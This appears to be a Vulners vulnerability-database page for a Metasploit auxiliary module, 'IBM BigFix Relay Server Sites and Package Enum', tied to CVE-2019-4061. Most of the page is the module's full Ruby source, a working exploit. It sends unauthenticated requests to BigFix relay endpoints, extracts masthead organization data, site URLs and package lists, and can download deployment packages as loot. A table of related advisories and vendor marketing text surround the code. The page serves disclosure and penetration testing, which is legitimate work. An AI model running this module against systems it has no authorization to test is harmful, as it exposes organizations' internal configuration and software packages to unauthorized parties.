Lucene search
+L

IBM BigFix Relay Server Sites and Package Enum

🗓️ 18 Mar 2019 00:00:00Reported by HD Moore, Chris Bellows, Ryan Hanson, Jacob RoblesType 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

Retrieves masthead, site, and available package info from IBM BigFix Relay Servers

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2019-4061
20 Mar 201912:24
circl
cnvd
CNVD
IBM BigFix Platform Unauthorized Access Vulnerability
25 Feb 201900:00
cnvd
cve
CVE
CVE-2019-4061
27 Feb 201922:00
cve
cvelist
Cvelist
CVE-2019-4061
27 Feb 201922:00
cvelist
nessus
Tenable Nessus
IBM BigFix Platform 9.2.x <= 9.2.16 / 9.5.x <= 9.5.11 Information Disclosure
3 May 201900:00
nessus
nuclei
Nuclei
IBM BigFix Platform - Information Disclosure
31 Aug 202605:18
nuclei
nvd
NVD
CVE-2019-4061
27 Feb 201922:29
nvd
osv
OSV
CVE-2019-4061
27 Feb 201922:29
osv
packetstorm
Packet Storm
IBM BigFix Relay Server Sites and Package Enum
31 Aug 202400:00
packetstorm
packetstorm
Packet Storm
📄 IBM BigFix Platform 9.2 Information Disclosure
17 Dec 202500:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IBM BigFix Relay Server Sites and Package Enum',
        'Description' => %q{
          This module retrieves masthead, site, and available package information
          from IBM BigFix Relay Servers.
        },
        'Author' => [
          'HD Moore', # Vulnerability Discovery
          'Chris Bellows',  # Vulnerability Discovery
          'Ryan Hanson',    # Vulnerability Discovery
          'Jacob Robles'    # Metasploit module
        ],
        'References' => [
          ['CVE', '2019-4061'],
          ['URL', 'https://www.atredis.com/blog/2019/3/18/harvesting-data-from-bigfix-relay-servers']
        ],
        'DefaultOptions' => {
          'RPORT' => 52311,
          'SSL' => true
        },
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2019-03-18',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    ) # Blog post date

    register_options [
      OptString.new('TARGETURI', [true, 'Path to the BigFix server', '/']),
      OptBool.new('SHOW_MASTHEAD', [true, 'Retrieve information from masthead file', true]),
      OptBool.new('SHOW_SITES', [true, 'Retrieve site listing', true]),
      OptBool.new('SHOW_PACKAGES', [true, 'Retrieve packages list', true]),
      OptBool.new('DOWNLOAD', [true, 'Attempt to download packages', false])
    ]

    register_advanced_options [
      OptBool.new('ShowURL', [true, 'Show URL instead of filename', false])
    ]
  end

  def send_req(uri)
    send_request_cgi({
      'uri' => normalize_uri(target_uri, uri)
    })
  end

  def masthead
    res = send_req('masthead/masthead.axfm')
    return unless res && res.code == 200

    if res.body =~ /Organization: (.*)./
      print_good($1)
    end

    res.body.scan(/URL: (.*)./).each do |http|
      print_good(http[0])
    end
  end

  def sites
    res = send_req('cgi-bin/bfenterprise/clientregister.exe?RequestType=FetchCommands')
    return unless res && res.code == 200

    print_status('Sites')
    res.body.scan(/: ([^ ]+)/).each do |url|
      print_good(url[0])
    end
  end

  def packages
    res = send_req('cgi-bin/bfenterprise/BESMirrorRequest.exe')
    return unless res && res.code == 200

    print_status('Packages')
    last_action = nil
    @files = {}

    myhtml = res.get_html_document
    myhtml.css('.indented p').each do |element|
      element.children.each do |text|
        if text.class == Nokogiri::XML::Text
          next if text.text.start_with?('Error')

          text.text =~ /^([^ ]+)/
          case $1
          when 'Action:'
            # Save Action to associate URLs
            text.text =~ /Action: ([0-9]+)/
            last_action = $1
            @files[last_action] = []
            print_status("Action: #{last_action}")
          when 'url'
            text.text =~ /^[^:]+: (.*)/
            uri = URI.parse($1)
            file = File.basename(uri.path)
            @files[last_action].append(file)
            datastore['ShowURL'] ? print_good("URL: #{$1}") : print_good("File: #{file}")
          end
        end
      end
    end
  end

  def download
    print_status('Downloading packages')
    @files.each do |action, val|
      next if val.empty?

      res = send_req("bfmirror/downloads/#{action}/0")
      next unless res && res.code == 200

      print_status("Downloading file #{val.first}")
      res = send_req("bfmirror/downloads/#{action}/1")
      unless res && res.code == 200
        print_error("Failed to download #{val.first}")
        next
      end

      myloot = store_loot('ibm.bigfix.package', File.extname(val.first), datastore['RHOST'], res.body, val.first)
      print_good("Saved #{val.first} to #{myloot.to_s}")
    end
  end

  def run
    masthead if datastore['SHOW_MASTHEAD']
    sites if datastore['SHOW_SITES']
    packages if datastore['SHOW_PACKAGES'] || datastore['DOWNLOAD']
    download if datastore['DOWNLOAD'] && @files != {}
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation